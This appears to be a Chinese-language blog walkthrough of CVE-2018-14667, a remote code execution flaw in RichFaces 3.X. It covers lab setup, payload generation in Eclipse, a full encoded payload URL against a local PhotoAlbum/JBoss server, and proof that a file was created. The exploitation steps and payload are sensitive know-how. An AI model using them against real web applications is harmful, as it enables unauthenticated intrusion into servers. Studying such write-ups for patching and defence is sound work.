
关于 CVE-2018-14667 的一切;从它是什么到如何成功利用它。
在花费大量时间理解并正确利用此CVE后,我决定针对RichFaces 3.X的RCE漏洞构建一个仓库,并逐步向社区分享操作指南。
0x00 : RichFaces 3.X漏洞简介
2018年11月19日(周一),Joao F M Figueiredo 发表了一篇详细文章(https://seclists.org/fulldisclosure/2018/Nov/47),涉及一个严重高风险的RichFaces漏洞。
CVSS3基础得分 9.8
该漏洞将允许任何未经身份验证的用户在使用RichFaces 3.X(所有版本)的任何Web应用程序上执行远程代码,这几乎是最糟糕的情况。
0x01 : 我是否受影响? ![]()
如果你正在运行RichFaces 3.X(任何3.x版本),并且在源代码中看到以下内容,那么很可能你容易受到CVE-2018-14667的远程代码执行攻击:
0x02 : 运行易受攻击的环境以测试漏洞 ![]()
我基本上会重新解释seclists.org文章中已经涵盖的内容,即如何部署一个易受攻击的环境。
0x03 : 生成有效的payload ![]()
现在是有趣的部分!这部分我遇到了困难,所以我将详细解释如何生成一个有效的payload,并避免重复我犯过的错误。我建议首先使用Eclipse来编译payload。
// Class clazz = Class.forName("javax.el.MethodExpression");
// Field field = clazz.getField("serialVersionUID");
// field.setAccessible(true);
// Field modifiersField = Field.class.getDeclaredField("modifiers");
// modifiersField.setAccessible(true);
// modifiersField.setInt(field, field.getModifiers() & ~Modifier.FINAL);
// field.setLong(null, MethodExpressionSerialVersionUID);
你的Eclipse输出结果应该如下所示:
/DATA/eAHNVU1rE0EYnkarbf2qtqhVhLiKTUVmW6mHWgOFKiqkFpq2fvQgk82bZOJ-dWY2WSwVRUSwIkjxpiJ4bS!6B!ToJ9Jf4EEREUEE8SbOzKaJDeqhp-xpZvfZ533med59d-ErauYMHfRYHpMiCfuLPIcZcC9gFuAJDmysstk!wehxIghSV8eRLzG0NoU2WQyIgGHPFeAKgbaliqRETJu4eXM0UwRLDKbQegh9Kjmn0RXUlEItjpelOQrZyr65ROwA9Cb0pZYDiiLEOWIBx5bn-J4ruXFayEKnPDsLLE1KwM6!fJqcv!9mJIZiKdRq2YTzM8SBlRrSglE3LzW0cflOVnMItD1SST0zDYwSm14mGRsGQ1-V75YlMQ9cLcAGwTHYeJzkR0AUvOyJ0Jcn4dRztQ8INW1EKGSoKxItofW4J-bLuQ8!--!ENK6jiqsxPb5xK!39wtIxhVAKBlQYjFqFyIKAYuL7NrWIkGUjH-qLnGUSAgwn7l07ujD2UXvSmSEcohBqtQTapQ8fmmCbk8r42jNp0zqfMB3k7hqqvtZgqLJqkULjSmgx43HtUR3bace3BxZn287Ni-7Io53Vs9dBy21Xp94!-3VXGaC4W8uP0PV9MwymA-AC50EMq3gTPdVlyiOyD-QNWy6ih4Zix6rz8FjgCuqAofGR!IQhWWr3qVvyLkHCDWy7B0MIVsIQXmAV4qZwfJOoy-iZ!U-qvh9KA!auMKDeKOVA5tuOHxuebx1RDmjbyjcb42goYKhjSqccmVb5VBaXJj993jNzUjej7PGYQJ3aWerh0UD4gZBAII5A7TXDoy6TnpSX0Duz2rqmA1lKordMCIn0A7hZ9CGf1mscFoRjx4d6D!XGh!r6Dvf1J40VAyXZAE1ghHpwrdGj6R-zoa6f!xwNKvR2zbCl!ADNNcCB4hCNY7RZBxgIamM52EHF9xa9Xl18BTleL-YCN2lU2BsrOpVCVyWFh-h2I6Sw!Bf8Wwyv0IvVxVAMuEgay9SNkYFALao7xuUo!w0w9PXD.jsf
0x04 : 发送你的payload并获得远程代码执行 ![]()
在浏览器中导航到本地运行PhotoAlbum Web应用程序的JBoss服务器 http://192.168.100.2:8080/photoalbum ,然后右键查看页面源代码。按Ctrl+F搜索'/DATA/'。你应该能找到类似这样的内容:
src="/photoalbum/a4j/s/3_3_3.Finalorg.ajax4jsf.resource.UserResource/n/n/DATA/eAF1Uk1rFEEQrQwGEz9AXVFyCMQoCiI9JCZeYkBQ0cCsQccI6ql2pna2h57ptrtndzDozYuCF6!evOpFf4HXgJf8BkFEBBHEq929QUnAvlXx6r1Xr!rtd5g0Gs5LXTAssV0qTZ9pMrLRGbENQ!rOTnFmQ!NraBH86yx!i2BfAoczTWjpqqwt1dbCsaTEIcYC6yJe75WU2ZUE9lOruON8BE9hIoGpSua8zynfqSeHKBoKRaucl7OeomV9zMiwTFZK1o6bpdYJ3ZQiJ53ikPT9rQ-rr15!6kYQJTCdCTTmFla020NqNa8L5-GAcTN54LBwYuySyzglzVHwx9gTtNIqL3!OSTLT1MGAIGsYCXYXiy7Zgcyvt8ptYrisQw4AE4cAWg0zY9MOuhf3Pt568fn30sso4Dp!cf-Y3jx7nv58sH3ZI7yDU!4YZU-aIL2Xb61Sovfj5K-DH492vbYPbmo0CzOnN3mFBSUSXURMIa!tmm88AWg0dB6GpZk!jcsyxPJu-96Xr7ObN4Kw2yeycNz7Y1yy9caqxjogYWXhSGiH2fFZlWpHKdyOeZ2JJicTB-3YCO6KgRyxdmArMXfl4sKFhcVLc7u-yer8f63OuxuoP9Xj4!8_" style="opacity: 0.1" class="main-image"><span class="rich-tool-tip tooltip"
你可以清楚地看到序列化对象。这里我们将用我们的payload替换该序列化对象以实现远程代码执行。在浏览器中,将URL更改为 http://192.168.100.2:8080/photoalbum/a4j/s/3_3_3.Finalorg.ajax4jsf.resource.UserResource/n/n/DATA/你在Eclipse中生成的payload。我的payload执行了以下命令 'touch /tmp/PoorRichFaces'。让我们看看是否成功:
drwxrwxrwt 12 root root 32768 Nov 30 01:45 .
drwxr-xr-x 25 root root 4096 Nov 25 12:57 ..
-rw-rw-r-- 1 syrius syrius 0 Nov 30 1:27 PoorRichFaces
感觉不错,对吧?我们刚刚在一个运行RichFaces 3.X的Java Web应用程序上获得了RCE。
0x05 : 如何修补? ![]()
你可能不喜欢这个事实,所以请做好准备并坐稳;RichFaces已经达到了其产品支持的寿命终点,因此用户(你)应该自行应用补丁。不要惊慌,如果你找不到修补的方法,请随时联系我,我们可以做出安排,让我来修补你的Java Web应用程序。
电子邮件: [email protected]